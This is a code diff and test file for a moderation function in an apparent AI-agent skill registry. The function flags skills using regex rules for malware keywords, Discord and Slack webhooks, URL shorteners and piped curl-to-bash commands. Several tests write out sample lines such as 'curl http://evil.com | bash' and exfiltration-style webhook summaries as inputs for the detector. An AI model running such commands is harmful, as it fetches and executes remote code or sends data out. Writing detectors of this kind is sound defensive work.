slug: "test",
displayName: "Test",
summary: "Phishing tool for keylogger",
},
parsed: { frontmatter: {} },
files: [],
});
expect(flags).toContain("suspicious.keyword");
});
test("flags discord webhooks", () => {
const flags = deriveModerationFlags({
skill: {
slug: "test",
displayName: "Test",
summary: "Send data to discord.gg/xyz",
},
parsed: { frontmatter: {} },
files: [],
});
expect(flags).toContain("suspicious.webhook");
});
test("flags slack webhooks", () => {
const flags = deriveModerationFlags({
skill: {
slug: "test",
displayName: "Test",
summary: "Posts to hooks.slack.com",
},
parsed: { frontmatter: {} },
files: [],
});
expect(flags).toContain("suspicious.webhook");
});
test("flags curl | bash patterns", () => {
const flags = deriveModerationFlags({
skill: {
slug: "test",
displayName: "Test",
summary: "Run curl http://evil.com | bash",
},
parsed: { frontmatter: {} },
files: [],
});
expect(flags).toContain("suspicious.script");
});
test("flags curl | sh patterns", () => {
const flags = deriveModerationFlags({
skill: {
slug: "test",
displayName: "Test",
summary: "Execute curl http://evil.com | sh",
},
parsed: { frontmatter: {} },
files: [],
});
expect(flags).toContain("suspicious.script");
});
test("flags URL shorteners", () => {
const flags = deriveModerationFlags({
skill: {
slug: "test",
displayName: "Test",
summary: "Download from bit.ly/abc",
},
parsed: { frontmatter: {} },
files: [],
});
expect(flags).toContain("suspicious.url_shortener");
});
test("flags tinyurl", () => {
const flags = deriveModerationFlags({
skill: {
slug: "test",
displayName: "Test",
summary: "Get from tinyurl.com/xyz",
},
parsed: { frontmatter: {} },
files: [],
});
expect(flags).toContain("suspicious.url_shortener");
});
test("flags known malware patterns", () => {
const flags = deriveModerationFlags({
skill: {
slug: "test",
displayName: "ClawdAuthenticatorTool",
summary: "Test",
},
parsed: { frontmatter: {} },
files: [],
});
expect(flags).toContain("blocked.malware");
});
// IMPORTANT: Test that legitimate auth patterns are NOT flagged
test("does NOT flag OAuth skills mentioning tokens", () => {
const flags = deriveModerationFlags({
skill: {
slug: "openbotauth",
displayName: "OpenBotAuth",
summary: "Get a cryptographic identity for your AI agent. Uses GitHub OAuth tokens.",
},
parsed: { frontmatter: {} },
files: [],
});
expect(flags).not.toContain("suspicious.secrets");
expect(flags.length).toBe(0);
});
test("does NOT flag API integration skills mentioning API keys", () => {
const flags = deriveModerationFlags({
skill: {
slug: "trello",
displayName: "Trello",
summary: "Trello integration. Requires TRELLO_API_KEY and TRELLO_TOKEN.",
},
parsed: { frontmatter: {} },
files: [],
});
expect(flags.length).toBe(0);
});
test("does NOT flag auth skills mentioning passwords", () => {
const flags = deriveModerationFlags({
skill: {
slug: "database",
displayName: "Database Connector",
summary: "Connect to PostgreSQL. Requires username and password.",
},
parsed: { frontmatter: {} },
files: [],
});
expect(flags.length).toBe(0);
});
test("does NOT flag crypto wallet skills", () => {
const flags = deriveModerationFlags({
skill: {
slug: "wallet",
displayName: "Crypto Wallet",
summary: "Manage your crypto wallet and seed phrase.",
},
parsed: { frontmatter: {} },
files: [],
});
expect(flags.length).toBe(0);
});
test("does NOT flag payment integration skills", () => {
const flags = deriveModerationFlags({
skill: {
slug: "stripe",
displayName: "Stripe",
summary: "Accept payments. Requires Stripe API secret key.",
},
parsed: { frontmatter: {} },
files: [],
});
expect(flags.length).toBe(0);
});
test("combines multiple flags when multiple patterns match", () => {
const flags = deriveModerationFlags({
skill: {
slug: "test",
displayName: "Test",
summary: "Malware stealer that posts to discord.gg webhooks via curl | bash from bit.ly",
},
parsed: { frontmatter: {} },
files: [],
});
expect(flags).toContain("suspicious.keyword");
expect(flags).toContain("suspicious.webhook");
expect(flags).toContain("suspicious.script");
expect(flags).toContain("suspicious.url_shortener");
expect(flags.length).toBe(4);
});
test("scans frontmatter metadata", () => {
const flags = deriveModerationFlags({
skill: {
slug: "test",
displayName: "Test",
summary: "Normal description",
},
parsed: {
frontmatter: {
homepage: "http://evil.com | curl | bash",
},
},
files: [],
});
expect(flags).toContain("suspicious.script");
});
test("scans file paths", () => {
const flags = deriveModerationFlags({
skill: {
slug: "test",
displayName: "Test",
summary: "Normal description",
},
parsed: { frontmatter: {} },
files: [
{ path: "install-malware.sh", size: 100, storageId: mockStorageId, sha256: "abc123" },
],
});
expect(flags).toContain("suspicious.keyword");
});
test("returns empty array for clean skills", () => {
const flags = deriveModerationFlags({
skill: {
slug: "weather",
displayName: "Weather",
summary: "Get weather data from wttr.in",
},
parsed: { frontmatter: {} },
files: [{ path: "SKILL.md", size: 100, storageId: mockStorageId, sha256: "def456" }],
});
expect(flags.length).toBe(0);
});
});
+17 -26
View File
@@ -1,58 +1,49 @@
import type { Doc } from "../_generated/dataModel";
import type { Doc } from '../_generated/dataModel'
const FLAG_RULES: Array<{ flag: string; pattern: RegExp }> = [
// Known-bad / known-suspicious identifiers.
// NOTE: keep these narrowly scoped; use staff review to confirm removals.
{
flag: "blocked.malware",
flag: 'blocked.malware',
pattern: /(keepcold131\/ClawdAuthenticatorTool|ClawdAuthenticatorTool)/i,
},
// Malicious intent keywords
{ flag: "suspicious.keyword", pattern: /(malware|stealer|phish|phishing|keylogger)/i },
// Data exfiltration patterns - webhooks are unusual in skills
{ flag: "suspicious.webhook", pattern: /(discord\.gg|webhook|hooks\.slack)/i },
// Arbitrary code execution - curl | bash is dangerous
{ flag: "suspicious.script", pattern: /(curl[^\n]+\|\s*(sh|bash))/i },
// URL obfuscation - shorteners hide destination
{ flag: "suspicious.url_shortener", pattern: /(bit\.ly|tinyurl\.com|t\.co|goo\.gl|is\.gd)/i },
// Note: Removed overly broad patterns for "token", "api key", "password", "crypto", etc.
// These are common in legitimate auth/payment skills (OAuth, API integrations, crypto wallets).
// The LLM evaluator handles credential proportionality analysis (section 4 of security prompt).
];
{ flag: 'suspicious.keyword', pattern: /(malware|stealer|phish|phishing|keylogger)/i },
{ flag: 'suspicious.secrets', pattern: /(api[-_ ]?key|token|password|private key|secret)/i },
{ flag: 'suspicious.crypto', pattern: /(wallet|seed phrase|mnemonic|crypto)/i },
{ flag: 'suspicious.webhook', pattern: /(discord\.gg|webhook|hooks\.slack)/i },
{ flag: 'suspicious.script', pattern: /(curl[^\n]+\|\s*(sh|bash))/i },
{ flag: 'suspicious.url_shortener', pattern: /(bit\.ly|tinyurl\.com|t\.co|goo\.gl|is\.gd)/i },
]
export function deriveModerationFlags({
skill,
parsed,
files,
}: {
skill: Pick<Doc<"skills">, "slug" | "displayName" | "summary">;
parsed: Doc<"skillVersions">["parsed"];
files: Doc<"skillVersions">["files"];
skill: Pick<Doc<'skills'>, 'slug' | 'displayName' | 'summary'>
parsed: Doc<'skillVersions'>['parsed']
files: Doc<'skillVersions'>['files']
}) {
const text = [
skill.slug,
skill.displayName,
skill.summary ?? "",
skill.summary ?? '',
JSON.stringify(parsed?.frontmatter ?? {}),
JSON.stringify(parsed?.metadata ?? {}),
JSON.stringify((parsed as { moltbot?: unknown } | undefined)?.moltbot ?? {}),
...files.map((file) => file.path),
]
.filter(Boolean)
.join("\n");
.join('\n')
const flags = new Set<string>();
const flags = new Set<string>()
for (const rule of FLAG_RULES) {
if (rule.pattern.test(text)) {
flags.add(rule.flag);
flags.add(rule.flag)
}
}
return Array.from(flags);
return Array.from(flags)
}

Some files were not shown because too many files have changed in this diff Show More